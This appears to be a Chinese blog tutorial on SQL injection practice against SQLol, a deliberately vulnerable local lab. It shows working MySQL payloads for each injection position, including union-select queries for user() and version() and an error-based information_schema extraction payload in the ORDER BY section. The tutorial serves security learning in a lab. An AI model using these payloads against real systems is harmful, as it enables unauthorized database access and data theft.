SQL注入测试平台 SQLol -2.SELECT注入测试
前面,我们已经安装好了SQLol,打开http://localhost/sql/,首先跳转到http://localhost/sql/select.php,我们先从select模块进行测试。
一条完成Select语句,大致可以这样表示:
1 | SELECT 【< strong >username】</ strong > FROM 【< strong >users】</ strong > WHERE username = 【'< strong >1</ strong >'】 GROUP BY 【< strong >username】</ strong > ORDER BY 【< strong >username</ strong > ASC】 [having 【< strong >1=1】</ strong > ][limit 【< strong >0,1】</ strong > ] |
接收的参数可能拼接到上述语句中【】的任一个位置。
注射位置不同,构造sql注入语句的方法也有所不同,但大致可以划分为三种。
1、联合查询(union select)
2、报错注入
3、盲注(布尔类型、时间延迟类型)
有的注入点可以同时使用多种方法注入,这里只演示一种。
下面演示注入到不同位置的方法。
一、WHERE 子句里的字符串
Tips:字符型注入;
在注射字符串中输入:admin,显示语句,选择注射位置为,WHERE子句里的字符串,返回的信息为:
1 | SELECT username FROM users WHERE username = 'admin' GROUP BY username ORDER BY username ASC |
可以知道我们输入的admin,被拼接到where子句里面,然后我们开始构造POC:
1 | admin' union select user()# |
如下图,我们取得数据库用户名(root@localhost),可以将user()替换为其他查询语句查询其他数据。
二、WHERE 子句里的数字
Tips:与上面的WHERE 子句里的字符串类似,所不同的,这是数字型注入;
在注射字符串中输入:1,显示语句,选择注射位置为,WHERE子句里的数据,返回的信息为:
1 | SELECT username FROM users WHERE isadmin = 1 GROUP BY username ORDER BY username ASC |
构造POC:
1 | SELECT username FROM users WHERE isadmin = 1 union select user()# GROUP BY username ORDER BY username ASC |
如下图,我们取得数据库用户名。
三、整个语句
Tips: 直接可以执行任何sql语句
在注射字符串中输入:select * from users,users为数据库用户表,显示语句,选择注射位置为,整条语句,返回的信息为:
1 | select * from users |
可以在这里输入任何的sql语句执行。
四、Column 名称
Tips: 注入位置在username
1 | SELECT < strong >username</ strong > FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC |
利用方式:
1、输入字段查询users表,或直接用*代替,查询users表中所有的数据
2、注释掉后面的语句,与select直接拼接,例如:注射字符串位置输入version(),拼接成
1 | SELECT version()# FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC |
替换version(),输入其他数据库查询语句,可查询其他数据
五、Table 名称
Tips:注射位置在表users
1 | SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC |
利用方式:
1、输入正确的表名,union select查询
六、ORDER BY 子句
Tips:注射位置在order by
当使用union操作时,排序语句必须放在最后面才正确,就是说只能在union的最后一个子查询中使用order by,因此这里不能用union slect。
利用方式:
报错注入
1 | 1 and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# |
得到数据库sqlol,可以使用其他语句继续报错注入。
参考资料:http://www.myhack58.com/Article/html/3/7/2013/38704.htm
七、GROUP BY 子句
Tips:注射位置在group by
GROUP BY 语句用于结合合计函数,根据一个或多个列对结果集进行分组。
利用方式:
1、与order by 一样,直接报错注入
2、在MSSQL中,可以利用group by , having 进行爆当前列
八、HAVING 子句
Tips:having位置
利用方式:
报错注入
最后
欢迎关注个人微信公众号:Bypass--,每周一篇原创高质量的干货。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App
· 张高兴的大模型开发实战:(一)使用 Selenium 进行网页爬虫